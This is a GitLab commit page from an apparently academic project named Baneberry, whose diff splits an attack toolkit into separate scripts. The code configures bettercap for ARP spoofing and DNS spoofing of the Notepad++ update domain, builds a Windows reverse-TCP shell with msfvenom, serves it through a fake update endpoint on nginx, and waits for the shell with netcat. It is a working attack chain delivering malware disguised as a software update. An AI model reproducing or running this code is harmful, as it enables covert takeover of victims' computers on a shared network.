Skip to content
Snippets Groups Projects
Commit 23f10b09 authored by Marius CHANDEZE's avatar Marius CHANDEZE
Browse files

division de la partie baneberry et C&C dans leur fichier sh respectif

parent a90d3631
No related branches found
No related tags found
No related merge requests found
......@@ -11,23 +11,20 @@ run('set wifi.interface ' + wifiInterface);
/*
//config http
run('set http.proxy.sslstrip true');
run('set http.proxy.script payload.js'); // #payload js a injecter
run('set http.proxy.script http://' + cncserver + 'payload.js'); // #payload js a injecter
run('set http.proxy true'); #obligatoire ?
*/
//camouflage de l'identite
//run('mac.changer on');
run('mac.changer on');
//lecture du cache arp pour obtenir des cibles
run('net.probe on');
//si cache vide de base :
//run('net.recon on');
//attendre un peu ?
run('sleep 3');
run('net.probe off');
//config arp
//selection de la cible
run('set arp.spoof.targets '+targets);
......@@ -39,7 +36,7 @@ run('set arp.spoof.fullduplex true') //marche ? semble.
//config dns
//run('set dns.spoof.hosts ./hosts');
run('set dns.spoof.domains notepad-plus.sourceforge.net');
run('set dns.spoof.address '+dnsserver);
run('set dns.spoof.address '+cncserver);
run('set dns.spoof.all false');
......
......@@ -7,41 +7,7 @@
##################################
CNC=$(grep config.js -e "cncserver" | cut -d "'" -f 2)
CNCPORT=$(grep config.js -e "port" | cut -d "'" -f 2)
EPATH=$(grep config.js -e "payload" | cut -d "'" -f 2)
echo "Command and Control server : $CNC:$CNCPORT"
echo "Payload : http://$CNC/$EPATH"
#configure cron nmap (meh)
#echo setting nmap as hourly cron
#sudo cp ./nmap.cron.sh /etc/cron.hourly/
#generate windows 32bit payload
#sudo ./msfinstall
if [ "$1" == "-payload" ]
then
echo "generate payload"
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=$CNC LPORT=$CNCPORT > "./html/$EPATH"
fi
#setup webserver
echo "setting up web sever"
OLDIP=$(grep "<Location>" ./html/commun/update/getDownLoadUrl.php | cut -d ">" -f 2 | cut -d "<" -f "1")
sed -i -e "s#$OLDIP#$CNC/$EPATH#g" ./html/commun/update/getDownLoadUrl.php
sudo cp -r ./html /var/www/
#start nginx if not loaded
if [ "active" != "$(sudo systemctl is-active nginx)" ]
then
echo "starting web server"
sudo service nginx start
else
echo "server already running"
fi
echo "Command and Control server : $CNC"
#start mitm
sudo ./bettercap -script baneberry.js > /dev/null &
#wait for reverse shell
echo "waiting for reverse tcp shell on port $CNCPORT..."
nc -lvp $CNCPORT
cnc.sh 0 → 100755
#/bin/sh
##################################
### PROJET BANEBERRY ###
# Imad Benayad & Marius Chandeze #
# configuration : config.js #
##################################
CNC=$(grep ./config.js -e "cncserver" | cut -d "'" -f 2)
CNCPORT=$(grep ./config.js -e "port" | cut -d "'" -f 2)
EPATH=$(grep ./config.js -e "payload" | cut -d "'" -f 2)
echo "Command and Control server : $CNC:$CNCPORT"
echo "Payload : http://$CNC/$EPATH"
#generate windows 32bit payload
if [ "$1" == "-payload" ]
then
echo "update msframework"
sudo ./msfinstall
echo "generate payload"
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=$CNC LPORT=$CNCPORT > "./html/$EPATH"
fi
#setup webserver
echo "setting up web sever"
OLDIP=$(grep "<Location>" ./html/commun/update/getDownLoadUrl.php | cut -d ">" -f 2 | cut -d "<" -f "1")
sed -i -e "s#$OLDIP#$CNC/$EPATH#g" ./html/commun/update/getDownLoadUrl.php
sudo cp -r ./html /var/www/
#start nginx if not loaded
if [ "active" != "$(sudo systemctl is-active nginx)" ]
then
echo "starting web server"
sudo service nginx start
else
echo "server already running"
fi
#wait for reverse shell
echo "waiting for reverse tcp shell on port $CNCPORT..."
nc -lvp $CNCPORT
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment